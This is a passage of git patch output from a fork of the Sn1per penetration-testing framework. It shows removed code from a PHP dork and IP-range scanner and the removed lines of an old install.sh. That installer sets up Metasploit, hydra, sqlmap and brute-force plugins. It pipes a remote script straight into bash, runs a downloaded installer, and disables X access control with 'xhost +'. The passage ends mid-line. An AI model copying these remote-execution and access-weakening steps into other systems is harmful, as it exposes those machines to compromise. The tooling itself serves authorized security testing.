{$_SESSION['config']['irc']['conf'][1]} ]{$_SESSION["c0"]}" : NULL); - - echo (not_isnull_empty($_SESSION['config']['ifurl']) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER URL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifurl']} ]{$_SESSION["c0"]}" : NULL); - - echo (not_isnull_empty($file) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file} ]{$_SESSION["c0"]}" : NULL); - - echo (not_isnull_empty($file_all) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]}[ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all} ]{$_SESSION["c0"]}" : NULL); - - echo (not_isnull_empty($command) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL COMMAND ]::{$_SESSION["c1"]} [ $command ]{$_SESSION["c0"]}" : NULL); - - echo (not_isnull_empty($subcommand) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL SUB_COMMAND ]::{$_SESSION["c1"]} [ $subcommand ]{$_SESSION["c0"]}" : NULL); - - echo (not_isnull_empty($_SESSION['config']['proxy-file']) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILE SOURCE LIST OF PROXY ]::{$_SESSION["c1"]} [ {$_SESSION['config']['proxy-file']} ]{$_SESSION["c0"]}" : NULL); -} - -################################################################################ -#RUN WITH SEARCH ENGINES######################################################## -################################################################################ -# (PHP 4 >= 4.0.1, PHP 5) create_function — Create an anonymous (lambda-style) -# function http://php.net/manual/en/function.create-function.php - -function __main($dork, $motor, $cod) { - - $dork_[0] = (strstr($dork, '[DORK]') ? explode('[DORK]', $dork) : array($dork)); - $dork_[1] = (not_isnull_empty($_SESSION['config']['dork-file']) ? __openFile($_SESSION['config']['dork-file'], 1) : $dork_[0]); - $dork_[2] = (not_isnull_empty($_SESSION['config']['dork-rand']) ? __randomDork($_SESSION['config']['dork-rand']) : array()); - $dork_[3] = array_filter(array_unique(array_merge($dork_[0], $dork_[1], $dork_[2]))); - - $file_proxy = (not_isnull_empty($_SESSION['config']['proxy-file']) ? __openFile($_SESSION['config']['proxy-file'], 1) : NULL); - $list_proxy = (is_array($file_proxy) ? ($file_proxy) : NULL); - - print __bannerLogo(); - - __startingBanner(); - - for ($i = 0; $i <= count($dork_[3]); $i++) { - - if (!empty($dork_[3][$i])) { - - echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ DORK ]::{$_SESSION["c1"]}[ {$dork_[3][$i]} ]\n"; - - //$objNewSearch = create_function('$dork_, $motor, $list_proxy', $cod); - //$objNewSearch(urlencode($dork_[3][$i]), $motor, $list_proxy); - - __engines(urlencode($dork_[3][$i]), $list_proxy) . __plus(); - - ($_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL; - ($_SESSION["config"]["pr"]) ? $_SESSION["config"]["totas_urls"] = NULL : NULL; - - echo "\n"; - } - } - - (!$_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL; - - __exitProcess(); -} - -################################################################################ -#RUN VALIDATION / PROCESSES SCAN RANG IP######################################## -################################################################################ - -if (not_isnull_empty($_SESSION['config']['range']) || not_isnull_empty($_SESSION['config']['range-rand'])) { - - print __bannerLogo(); - __startingBanner(); - not_isnull_empty($_SESSION['config']['range']) ? __process(__generatorRangeIP($_SESSION['config']['range'])) : NULL; - not_isnull_empty($_SESSION['config']['range-rand']) ? __process(__generatorIPRandom(array(1 => $_SESSION['config']['range-rand']))) : NULL; - __exitProcess(); -} - - -################################################################################ -#RUN VALIDATION / PROCESSES WITH FILE########################################### -################################################################################ - -if (not_isnull_empty($_SESSION['config']['abrir-arquivo'])) { - - print __bannerLogo(); - __startingBanner(); - __openFile($_SESSION['config']['abrir-arquivo']); - __plus(); - __exitProcess(); -} - -################################################################################ -#RUN WITH SEARCH ENGINES######################################################## -################################################################################ - -__main($_SESSION['config']['dork'], $_SESSION['config']['motor'], $_SESSION['config']['cod']); - -function __extra() { - - $banners = array( - "{$_SESSION["c1"]} -_ _ _ _ _ ____ _ ___ ____ -| |\ | | | |__/ | |__] |__/ -| | \| |__| | \ |___ |__] | \ -", "{$_SESSION["c1"]} - ( ) ( ( ( - )\ ) ( /( )\ ) )\ ) ( )\ ) -(()/( )\()) ( (()/((()/( ( )\ (()/( - /(_))((_)\ )\ /(_))/(_)))((_) /(_)) -(_)) _((_) _ ((_)(_)) (_)) ((_)_ (_)) -|_ _| | \| || | | || _ \| | | _ )| _ \ - | | | .` || |_| || /| |__ | _ \| / -|___| |_|\_| \___/ |_|_\|____||___/|_|_\ - ", "{$_SESSION["c1"]} -.-..-. .-..-. .-..----. .-. .----. .----. -| || `| || { } || {} }| | | {} }| {} } -| || |\ || {_} || .-. \| `--.| {} }| .-. \ -`-'`-' `-'`-----'`-' `-'`----'`----' `-' `-' - ", "{$_SESSION["c1"]} - ___ _ _ _ _ ____ _ ____ ____ -|_ _| \ | | | | | _ \| | | __ )| _ \ - | || \| | | | | |_) | | | _ \| |_) | - | || |\ | |_| | _ <| |___| |_) | _ < -|___|_| \_|\___/|_| \_\_____|____/|_| \_\ -", "{$_SESSION["c1"]} - /~\ - |oo ) /INURLBR - _\=/_ - ___ # / _ \ # - /() \ \\//|/.\|\\// - _|_____|_ \/ \_/ \/ - | | === | | |\ /| - |_| O |_| \_ _/ - || O || | | | - ||__*__|| | | | - |~ \___/ ~| []|[] - /=\ /=\ /=\ | | | -________________[_]_[_]_[_]________/_]_[_\_________________________ -", "{$_SESSION["c1"]} - ______ __ __ __ __ ____ __ ____ ____ -/\__ _\ /\ \/\ \/\ \/\ \/\ _`\ /\ \ /\ _`\ /\ _`\ -\/_/\ \/ \ \ `\\ \ \ \ \ \ \ \L\ \ \ \ \ \ \L\ \\ \ \L\ \ - \ \ \ \ \ , ` \ \ \ \ \ \ , /\ \ \ __\ \ _ <'\ \ , / - \_\ \__\ \ \`\ \ \ \_\ \ \ \\ \\ \ \L\ \\ \ \L\ \\ \ \\ \ - /\_____\\ \_\ \_\ \_____\ \_\ \_\ \____/ \ \____/ \ \_\ \_\ - \/_____/ \/_/\/_/\/_____/\/_/\/ /\/___/ \/___/ \/_/\/ / -", "{$_SESSION["c1"]} - _____ ______ _ _ ______ _ ______ ______ -(_____) ___ \| | | (_____ \| | (____ (_____ \ - _ | | | | | | |_____) ) | ____) )____) ) - | | | | | | | | (_____ (| | | __ (_____ ( - _| |_| | | | |___| | | | |_____| |__) ) | | -(_____)_| |_|\______| |_|_______)______/ |_| -", "{$_SESSION["c1"]} - ______ - .-. .-. - / \ - | [ INURLBR ] | - |, .-. .-. ,| - | )(|_/ \|_)( | - |/ /\ \| - _ (_ ^^ _) - _\ ____) \_______\__|IIIIII|__/_______________________________ - (_)[___]{}<________|-\IIIIII/-|__INURL__INURL__INURL___________\ - / )_/ \ / - \ ______ / -", "{$_SESSION["c1"]} - -88 88b 88 88 88 88**Yb 88 88**Yb 88**Yb -88 88Yb88 88 88 88__dP 88 88__dP 88__dP -88 88 Y88 Y8 8P 88*Yb 88 .o 88**Yb 88*Yb -88 88 Y8 `YbodP' 88 Yb 88ood8 88oodP 88 Yb -", "{$_SESSION["c1"]} - - # - ## ### - ### ### ## ### ## ####### ### ####### ####### - ### #### ## ### ## ## ### ## ## - ### ####### ### ## ###### ### ###### ###### - ### ### ### ### ## ## ## ### ### ## ## ## - ### ### ## ##### ## ## ####### ###### ## ## - # -", "{$_SESSION["c1"]} - - __ __ __ __ _______ __ __ __ __ __ _______ __ -| | | | | | | | | ____|| | | | | | | | | | | ____|| | -| |__| | | | | | | |__ | | | |__| | | | | | | |__ | | -| __ | | | | | | __| | | | __ | | | | | | __| | | -| | | | | `--' | | |____ |__| | | | | | `--' | | |____ |__| -|__| |__| \______/ |_______|(__) |__| |__| \______/ |_______|(__) -", "{$_SESSION["c1"]} - _ _ -| |__ _ __ | |__ _ __ -| '_ \| '__| | '_ \| '__| -| |_) | | | |_) | | -|_.__/|_| |_.__/|_| -", "{$_SESSION["c1"]} - ___ .__ __. .___________. __ _______ ___ - / \ | \ | | | || | | ____| / \ - / ^ \ | \| | `---| |----`| | | |__ / ^ \ - / /_\ \ | . ` | | | | | | __| / /_\ \ - / _____ \ | |\ | | | | | | | / _____ \ -/__/ \__\ |__| \__| |__| |__| |__| /__/ \__\ -", "{$_SESSION["c1"]} - _____ _ _ -/ ___| | | (_) -\ `--. _ _| |____ _____ _ __ ___ ___ _____ - `--. \ | | | '_ \ \ / / _ \ '__/ __| \ \ / / _ \ -/\__/ / |_| | |_) \ V / __/ | \__ \ |\ V / __/ -\____/ \__,_|_.__/ \_/ \___|_| |___/_| \_/ \___| - -", "{$_SESSION["c1"]} - __ __ _ _ _ ____ _ _ _ _ - \ \ / /_ _ _ __ __| | __ _| (_)___ _ __ ___ ___ | _ \(_) __ _(_) |_ __ _| | - \ \ / / _` | '_ \ / _` |/ _` | | / __| '_ ` _ \ / _ \ | | | | |/ _` | | __/ _` | | - \ V / (_| | | | | (_| | (_| | | \__ \ | | | | | (_) | | |_| | | (_| | | || (_| | | - \_/ \__,_|_| |_|\__,_|\__,_|_|_|___/_| |_| |_|\___/ |____/|_|\__, |_|\__\__,_|_| - |___/ -"); - return ($banners[rand(0, count($banners) - 1)]); -} From 33f530d6c833e5757dbaf8ce4de5f515ee9c8481 Mon Sep 17 00:00:00 2001 From: D4rth R3v4n Date: Wed, 17 Dec 2025 11:29:14 -0500 Subject: [PATCH 76/83] Multi-Platform support Added support for Debian/Ubuntu, RHEL/CentOS/Fedora/Amazon Linux, Arch Linux, macOS --- install.sh | 1349 +++++++++++++++++++++++++++++++++++----------------- 1 file changed, 907 insertions(+), 442 deletions(-) diff --git a/install.sh b/install.sh index df99b3e..6e84640 100755 --- a/install.sh +++ b/install.sh @@ -1,13 +1,20 @@ #!/bin/bash -# Install script for Sn1per CE +# Cross-platform install script for Sn1per CE +# Supports: Debian/Ubuntu, RHEL/CentOS/Fedora/Amazon Linux, Arch Linux, macOS # Created by @xer0dayz - https://sn1persecurity.com +# Optimized by D4rth R3v4n - https://github.com/gbiagomba +# Optimized for multi-distro support +set -e # Exit on error + +# Color definitions OKBLUE='\033[94m' OKRED='\033[91m' OKGREEN='\033[92m' OKORANGE='\033[93m' RESET='\e[0m' +# Banner echo -e "$OKRED ____ $RESET" echo -e "$OKRED _________ / _/___ ___ _____$RESET" echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" @@ -17,451 +24,909 @@ echo -e "$OKRED /_/ $RESET" echo -e "$RESET" echo -e "$OKORANGE + -- --=[ https://sn1persecurity.com $RESET" echo -e "$OKORANGE + -- --=[ Sn1per CE by @xer0dayz $RESET" +echo -e "$OKORANGE + -- --=[ Multi-distro installer $RESET" echo "" +# Installation directories INSTALL_DIR=/usr/share/sniper LOOT_DIR=/usr/share/sniper/loot PLUGINS_DIR=/usr/share/sniper/plugins GO_DIR=~/go/bin -echo -e "$OKRED[>]$RESET This script will install Sn1per under $INSTALL_DIR. Are you sure you want to continue? (Hit Ctrl+C to exit)$RESET" -if [[ "$1" != "force" ]]; then - read answer -fi - -if [[ $EUID -ne 0 ]]; then - echo "This script must be run as root" - exit 1 -fi - -mkdir -p $INSTALL_DIR 2> /dev/null -chmod 755 -Rf $INSTALL_DIR 2> /dev/null -chown root $INSTALL_DIR/sniper 2> /dev/null -mkdir -p $LOOT_DIR 2> /dev/null -mkdir $LOOT_DIR/domains 2> /dev/null -mkdir $LOOT_DIR/screenshots 2> /dev/null -mkdir $LOOT_DIR/nmap 2> /dev/null -mkdir $LOOT_DIR/reports 2> /dev/null -mkdir $LOOT_DIR/output 2> /dev/null -mkdir $LOOT_DIR/osint 2> /dev/null -cp -Rf * $INSTALL_DIR 2> /dev/null -cd $INSTALL_DIR - -sudo cp -a /root/.Xauthority /root/.Xauthority.bak 2> /dev/null -sudo cp -a /home/$USER/.Xauthority /root/.Xauthority 2> /dev/null -sudo cp -a /home/kali/.Xauthority /root/.Xauthority 2> /dev/null -sudo chown root: /root/.Xauthority 2> /dev/null -XAUTHORITY=/root/.Xauthority - -# CHECK FOR UBUNTU... -UBUNTU_CHECK=$(egrep DISTRIB_ID /etc/lsb-release 2> /dev/null) -if [[ $UBUNTU_CHECK == "DISTRIB_ID=Ubuntu" ]]; then - cp /root/.Xauthority /root/.Xauthority.bak 2> /dev/null - cp -a /run/user/1000/gdm/Xauthority /root/.Xauthority 2> /dev/null - cp -a /home/user/.Xauthority /root/.Xauthority 2> /dev/null - chown root /root/.Xauthority 2> /dev/null - XAUTHORITY=/root/.Xauthority 2> /dev/null - snap install chromium 2> /dev/null - ln -s /snap/bin/chromium /usr/bin/chromium 2> /dev/null - xhost + 2> /dev/null - mkdir -p /run/user/0 2> /dev/null - add-apt-repository ppa:longsleep/golang-backports - sudo apt update - apt install golang -fi - -echo -e "$OKBLUE[*]$RESET Installing base dependencies...$RESET" -apt install -y sudo gpg curl - -echo -e "$OKBLUE[*]$RESET Updating repositories... $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" -curl -fsSL https://archive.kali.org/archive-key.asc | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/kali.gpg --yes - -echo -e "$OKBLUE[*]$RESET Installing package dependencies...$RESET" -apt update -apt install -y nfs-common -apt install -y nodejs -apt install -y wafw00f -apt install -y xdg-utils -apt install -y ruby -apt install -y rubygems -apt install -y python2 -apt install -y python3 -apt install -y python3-paramiko -apt purge -y python3-pip -apt install -y python3-pip -apt install -y dos2unix -apt install -y aha -apt install -y libxml2-utils -apt install -y rpcbind -apt install -y cutycapt -apt install -y host -apt install -y whois -apt install -y dnsrecon -apt install -y curl -apt install -y nmap -apt install -y php8.2 -apt install -y php8.2-curl -apt install -y hydra -apt install -y sqlmap -apt install -y nbtscan -apt install -y nikto -apt install -y whatweb -apt install -y sslscan -apt install -y jq -apt install -y golang -apt install -y adb -apt install -y xsltproc -apt install -y ldapscripts -apt install -y libssl-dev 2> /dev/null -apt install -y xmlstarlet -apt install -y net-tools -apt install -y p7zip-full -apt install -y jsbeautifier -apt install -y theharvester 2> /dev/null -apt install -y phantomjs 2> /dev/null -apt install -y chromium 2> /dev/null -apt install -y xvfb -apt install -y urlcrazy -apt install -y iputils-ping -apt install -y enum4linux -apt install -y dnsutils -apt install -y wtmpdb - -echo -e "$OKBLUE[*]$RESET Installing Metasploit...$RESET" -rm -f /usr/share/keyrings/metasploit-framework.gpg 2> /dev/null -curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall -chmod 755 /tmp/msfinstall -/tmp/msfinstall - -pip3 install dnspython colorama tldextract urllib3 ipaddress requests --break-system-packages -curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh | bash - -echo -e "$OKBLUE[*]$RESET Installing gem dependencies...$RESET" -gem install rake 2> /dev/null > /dev/null -gem install ruby-nmap 2> /dev/null > /dev/null -gem install net-http-persistent 2> /dev/null > /dev/null -gem install mechanize 2> /dev/null > /dev/null -gem install text-table 2> /dev/null > /dev/null -gem install public_suffix 2> /dev/null > /dev/null - -echo -e "$OKBLUE[*]$RESET Setting up Ruby...$RESET" -dpkg-reconfigure ruby - -echo -e "$OKBLUE[*]$RESET Upgrading Pip...$RESET" -python3 -m pip install --upgrade pip --break-system-packages - -echo -e "$OKBLUE[*]$RESET Cleaning up old extensions...$RESET" -rm -Rf $PLUGINS_DIR 2> /dev/null -mkdir $PLUGINS_DIR 2> /dev/null -cd $PLUGINS_DIR -mkdir -p $GO_DIR 2> /dev/null - -echo -e "$OKBLUE[*]$RESET Downloading extensions...$RESET" - -# SUBLIST3R INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Sublist3r...$RESET" -git clone https://github.com/1N3/Sublist3r.git - -# SHOCKER INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Shocker...$RESET" -git clone https://github.com/nccgroup/shocker.git - -# SSH-AUDIT INSTALLER -echo -e "$OKBLUE[*]$RESET Installing SSH-Audit...$RESET" -git clone https://github.com/arthepsy/ssh-audit - -# JEXBOSS INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Jexboss...$RESET" -git clone https://github.com/1N3/jexboss.git - -# WIG INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Wig...$RESET" -git clone https://github.com/jekyc/wig.git - -# CORSTEST INSTALLER -echo -e "$OKBLUE[*]$RESET Installing CORStest...$RESET" -git clone https://github.com/RUB-NDS/CORStest.git - -# VULSCAN INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Vulscan...$RESET" -git clone https://github.com/scipag/vulscan - -# METAGOOFIL INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Metagoofil...$RESET" -git clone https://github.com/laramies/metagoofil.git - -# SHODAN INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Shodan...$RESET" -git clone https://github.com/achillean/shodan-python - -# CMSMAP INSTALLER -echo -e "$OKBLUE[*]$RESET Installing CMSMap...$RESET" -git clone https://github.com/Dionach/CMSmap.git - -# SMUGGLER INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Smuggler...$RESET" -git clone https://github.com/defparam/smuggler.git - -# DIRSEARCH INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Dirsearch...$RESET" -cd $PLUGINS_DIR -rm -Rf dirsearch/ 2> /dev/null -wget https://github.com/maurosoria/dirsearch/archive/refs/tags/v0.4.2.tar.gz -tar -zxvf v0.4.2.tar.gz -mv dirsearch-0.4.2/ dirsearch/ -cd dirsearch/ -pip3 install -r requirements.txt --break-system-packages -cd $PLUGINS_DIR - -# SECRETFINDER INSTALLER -echo -e "$OKBLUE[*]$RESET Installing SecretFinder...$RESET" -git clone https://github.com/m4ll0k/SecretFinder.git secretfinder -pip install -r $PLUGINS_DIR/secretfinder/requirements.txt --break-system-packages - -# LINKFINDER INSTALLER -echo -e "$OKBLUE[*]$RESET Installing LinkFinder...$RESET" -git clone https://github.com/1N3/LinkFinder -cd LinkFinder -python3 setup.py install -cd .. - -# GITGRABER INSTALLER -echo -e "$OKBLUE[*]$RESET Installing GitGrabber...$RESET" -git clone https://github.com/hisxo/gitGraber.git -pip3 install -r $PLUGINS_DIR/gitGraber/requirements.txt --break-system-packages 2> /dev/null - -# CENSYS-SUBDOMAIN-FINDER INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Censys-Subdomain-Finder...$RESET" -git clone https://github.com/christophetd/censys-subdomain-finder.git -pip3 install -r $PLUGINS_DIR/censys-subdomain-finder/requirements.txt --break-system-packages - -# DNSCAN INSTALLER -echo -e "$OKBLUE[*]$RESET Installing DNScan...$RESET" -git clone https://github.com/rbsec/dnscan.git -pip3 install -r $PLUGINS_DIR/dnscan/requirements.txt --break-system-packages - -# ALTDNS INSTALLER -echo -e "$OKBLUE[*]$RESET Installing AltDNS...$RESET" -git clone https://github.com/infosec-au/altdns.git -cd altdns -pip3 install -r requirements.txt --break-system-packages -python3 setup.py install -pip3 install py-altdns --break-system-packages -cd .. - -# MASSDNS INSTALLER -echo -e "$OKBLUE[*]$RESET Installing MassDNS...$RESET" -git clone https://github.com/blechschmidt/massdns.git -cd massdns -make && make install -cd .. - -# DNSGEN INSTALLER -echo -e "$OKBLUE[*]$RESET Installing DNSGen...$RESET" -git clone https://github.com/ProjectAnte/dnsgen -cd dnsgen -pip3 install -r requirements.txt --break-system-packages -python3 setup.py install -cd .. - -# NUCLEI UPDATES -echo -e "$OKBLUE[*]$RESET Installing Nuclei...$RESET" -GO111MODULE=on go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest -ln -fs /root/go/bin/nuclei /usr/local/bin/nuclei 2> /dev/null -nuclei --update -nuclei - -# INSTALL WEBTECH -echo -e "$OKBLUE[*]$RESET Installing WebTech...$RESET" -pip3 install -U webtech --break-system-packages -mkdir -p /root/.local/share/webtech - -# INSTALL SUBJACK -echo -e "$OKBLUE[*]$RESET Installing SubJack...$RESET" -cd ~/go/bin/;go install github.com/haccer/subjack@latest - -# INSTALL SUBOVER -echo -e "$OKBLUE[*]$RESET Installing SubOver...$RESET" -cd ~/go/bin/;go install github.com/Ice3man543/SubOver@latest; mv /root/go/bin/SubOver /usr/local/bin/subover - -# INSTALL FPROBE -echo -e "$OKBLUE[*]$RESET Installing FProbe...$RESET" -go install github.com/theblackturtle/fprobe@latest; ln -fs ~/go/bin/fprobe /usr/bin/fprobe - -# INSTALL ASNIP -echo -e "$OKBLUE[*]$RESET Installing ASnip...$RESET" -go install github.com/harleo/asnip@latest; ln -fs ~/go/bin/asnip /usr/bin/asnip - -# GAU INSTALLER -echo -e "$OKBLUE[*]$RESET Installing GAU...$RESET" -GO111MODULE=on go install github.com/lc/gau@latest -rm -f /usr/bin/gau 2> /dev/null -ln -fs /root/go/bin/gau /usr/bin/gau 2> /dev/null - -# INSTALL HTTPX -echo -e "$OKBLUE[*]$RESET Installing HTTPX...$RESET" -go install github.com/projectdiscovery/httpx@latest; ln -fs /root/go/bin/httpx /usr/bin/httpx - -# INSTALL FFUF -echo -e "$OKBLUE[*]$RESET Installing FFuF...$RESET" -go install github.com/ffuf/ffuf@latest; ln -fs /root/go/bin/ffuf /usr/bin/ffuf - -# GITHUB-ENDPOINTS INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Github-Endpoints...$RESET" -go install github.com/gwen001/github-endpoints@latest; ln -fs /root/go/bin/github-endpoints /usr/bin/github-endpoints - -# PUREDNS INSTALLER -echo -e "$OKBLUE[*]$RESET Installing PureDNS...$RESET" -go install github.com/d3mondev/puredns/v2@latest; ln -fs /root/go/bin/puredns /usr/bin/puredns - -# AMASS INSTALLER -echo -e "$OKBLUE[*]$RESET Installing AMass...$RESET" -go install -v github.com/OWASP/Amass/v3/...@master -cd /root/go/bin/ - -# SUBFINDER INSTALLER -echo -e "$OKBLUE[*]$RESET Installing SubFinder...$RESET" -go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; ln -fs /root/go/bin/subfinder /usr/local/bin/subfinder - -# DIRDAR INSTALLER -echo -e "$OKBLUE[*]$RESET Installing DirDar...$RESET" -go install github.com/1N3/dirdar@latest; ln -fs /root/go/bin/dirdar /usr/local/bin/dirdar - -# VULNERS NMAP INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Vulners...$RESET" -cd /usr/share/nmap/scripts/ -rm -f /usr/share/nmap/scripts/vulners.nse -wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse -# ensure readable permissions -sudo chmod 644 /usr/share/nmap/scripts/vulners.nse -# update Nmap's script DB so --script-help and autocompletion see it -sudo nmap --script-updatedb - -# GOBUSTER INSTALLER -echo -e "$OKBLUE[*]$RESET Installing GoBuster...$RESET" -wget https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-amd64.7z -O /tmp/gobuster.7z -cd /tmp/ -7z e gobuster.7z -chmod +rx gobuster -mv gobuster /usr/bin/gobuster - -# SHODAN INSTALLER -echo -e "$OKBLUE[*]$RESET Installing Shodan...$RESET" -cd $PLUGINS_DIR -cd shodan-python -python setup.py install -cd .. - -# H8MAIL INSTALLER -echo -e "$OKBLUE[*]$RESET Installing H8Mail...$RESET" -pip3 install h8mail --break-system-packages 2> /dev/null - -# CMSMAP INSTALLER -echo -e "$OKBLUE[*]$RESET Installing CMSMap...$RESET" -cd $PLUGINS_DIR/CMSmap/ && pip3 install . --break-system-packages && python3 setup.py install - -cd $PLUGINS_DIR - -# ARACHNI MANUAL INSTALL -echo -e "$OKBLUE[*]$RESET Installing Arachni...$RESET" -wget https://github.com/Arachni/arachni/releases/download/v1.5.1/arachni-1.5.1-0.5.12-linux-x86_64.tar.gz -O /tmp/arachni.tar.gz -cd /tmp/ -tar -zxf arachni.tar.gz -rm -f /tmp/arachni.tar.gz 2> /dev/null -cd arachni-* -mkdir -p /usr/share/arachni 2> /dev/null -cp -Rf * /usr/share/arachni/ 2> /dev/null -cd /usr/share/arachni/bin/ -for a in `ls`; do ln -fs $PWD/$a /usr/bin/$a; done; - -# REMOVE CVE TEMPLATES (ALL CVEs GOING FORWARD COVERED BY NUCLEI) -rm -f /usr/share/sniper/templates/active/CVE* - -# PHANTOMJS MANUAL INSTALL -echo -e "$OKBLUE[*]$RESET Installing PhantomJS...$RESET" -cd /usr/local/share -wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-1.9.7-linux-x86_64.tar.bz2 2> /dev/null -tar xjf phantomjs-1.9.7-linux-x86_64.tar.bz2 2> /dev/null -ln -s /usr/local/share/phantomjs-1.9.7-linux-x86_64/bin/phantomjs /usr/local/share/phantomjs 2> /dev/null -ln -s /usr/local/share/phantomjs-1.9.7-linux-x86_64/bin/phantomjs /usr/local/bin/phantomjs 2> /dev/null -ln -s /usr/local/share/phantomjs-1.9.7-linux-x86_64/bin/phantomjs /usr/bin/phantomjs 2> /dev/null - -# DNS RESOLVERS DOWNLOAD -echo -e "$OKBLUE[*]$RESET Installing DNS Resolvers...$RESET" -wget https://raw.githubusercontent.com/janmasarik/resolvers/master/resolvers.txt -O /usr/share/sniper/wordlists/resolvers.txt - -# THEHARVESTER KALI SETUP -echo -e "$OKBLUE[*]$RESET Installing TheHarvester...$RESET" -cp -f /usr/bin/theHarvester /usr/bin/theharvester 2> /dev/null - -# BLACKWIDOW INSTALLER -echo -e "$OKBLUE[*]$RESET Installing BlackWidow...$RESET" -cd $PLUGINS_DIR -git clone https://github.com/1N3/BlackWidow -cd $PLUGINS_DIR/BlackWidow/ && bash install.sh force 2> /dev/null - -# BRUTEX INSTALLER -echo -e "$OKBLUE[*]$RESET Installing BruteX...$RESET" -cd $PLUGINS_DIR -git clone https://github.com/1N3/BruteX.git -cd $PLUGINS_DIR/BruteX/ && bash install.sh 2> /dev/null - -# FINDSPLOIT INSTALLER -echo -e "$OKBLUE[*]$RESET Installing FindSploit...$RESET" -cd $PLUGINS_DIR -git clone https://github.com/1N3/Findsploit.git -cd $PLUGINS_DIR/Findsploit/ && bash install.sh 2> /dev/null - -# GOOHAK INSTALLER -echo -e "$OKBLUE[*]$RESET Installing GooHak...$RESET" -cd $PLUGINS_DIR -git clone https://github.com/1N3/Goohak.git - -echo -e "$OKBLUE[*]$RESET Setting up environment...$RESET" -cd $INSTALL_DIR -mkdir $LOOT_DIR 2> /dev/null -mkdir $LOOT_DIR/screenshots/ -p 2> /dev/null -mkdir $LOOT_DIR/nmap -p 2> /dev/null -mkdir $LOOT_DIR/domains -p 2> /dev/null -mkdir $LOOT_DIR/output -p 2> /dev/null -mkdir $LOOT_DIR/reports -p 2> /dev/null -chmod +x $INSTALL_DIR/sniper -chmod +x $PLUGINS_DIR/Goohak/goohak -rm -f /usr/bin/dirsearch -ln -s $INSTALL_DIR/sniper /usr/bin/sniper 2> /dev/null -ln -s $PLUGINS_DIR/Goohak/goohak /usr/bin/goohak 2> /dev/null -ln -s $PLUGINS_DIR/dirsearch/dirsearch.py /usr/bin/dirsearch 2> /dev/null -ln -s /usr/share/sniper /sniper 2> /dev/null -ln -s /usr/share/sniper /usr/share/sn1per 2> /dev/null -ln -s /usr/share/sniper/loot/workspace /workspace 2> /dev/null -ln -s /usr/share/sniper/loot/workspace /root/workspace 2> /dev/null -ln -s /usr/share/sniper /root/sniper 2> /dev/null -ln -s /root/.sniper.conf /usr/share/sniper/conf/sniper.conf 2> /dev/null -ln -s /root/.sniper_api_keys.conf /usr/share/sniper/conf/sniper_api_keys.conf 2> /dev/null -mv /root/.sniper.conf /root/.sniper.conf.bak 2> /dev/null -cp -vf /usr/share/sniper/sniper.conf /root/.sniper.conf 2> /dev/null -msfdb init 2> /dev/null - -echo -e "$OKBLUE[*]$RESET Adding start menu and desktop shortcuts... $RESET" -cp -f $INSTALL_DIR/sn1per.desktop /usr/share/applications/ 2> /dev/null -cp -f $INSTALL_DIR/sn1per.desktop /usr/share/applications/sn1per.desktop 2> /dev/null -cp -f $INSTALL_DIR/sn1per.desktop /usr/share/kali-menu/applications/sn1per.desktop 2> /dev/null -cp -f $INSTALL_DIR/sn1per.png /usr/share/pixmaps/ 2> /dev/null -cp -f $PLUGINS_DIR/BruteX/brutex.desktop /usr/share/applications/ 2> /dev/null -cp -f $PLUGINS_DIR/BruteX/brutex.desktop /usr/share/applications/brutex.desktop 2> /dev/null -cp -f $PLUGINS_DIR/BruteX/brutex.desktop /usr/share/kali-menu/applications/brutex.desktop 2> /dev/null -cp -f $PLUGINS_DIR/BlackWidow/blackwidow.desktop /usr/share/applications/ 2> /dev/null -cp -f $PLUGINS_DIR/BlackWidow/blackwidow.desktop /usr/share/applications/blackwidow.desktop 2> /dev/null -cp -f $PLUGINS_DIR/BlackWidow/blackwidow.desktop /usr/share/kali-menu/applications/blackwidow.desktop 2> /dev/null -cp -f $PLUGINS_DIR/Findsploit/findsploit.desktop /usr/share/applications/ 2> /dev/null -cp -f $PLUGINS_DIR/Findsploit/findsploit.desktop /usr/share/applications/findsploit.desktop 2> /dev/null -cp -f $PLUGINS_DIR/Findsploit/findsploit.desktop /usr/share/kali-menu/applications/findsploit.desktop 2> /dev/null -mkdir -p /usr/share/sniper/loot/workspaces/ 2> /dev/null -ln -fs /usr/share/sniper/loot/workspaces/ 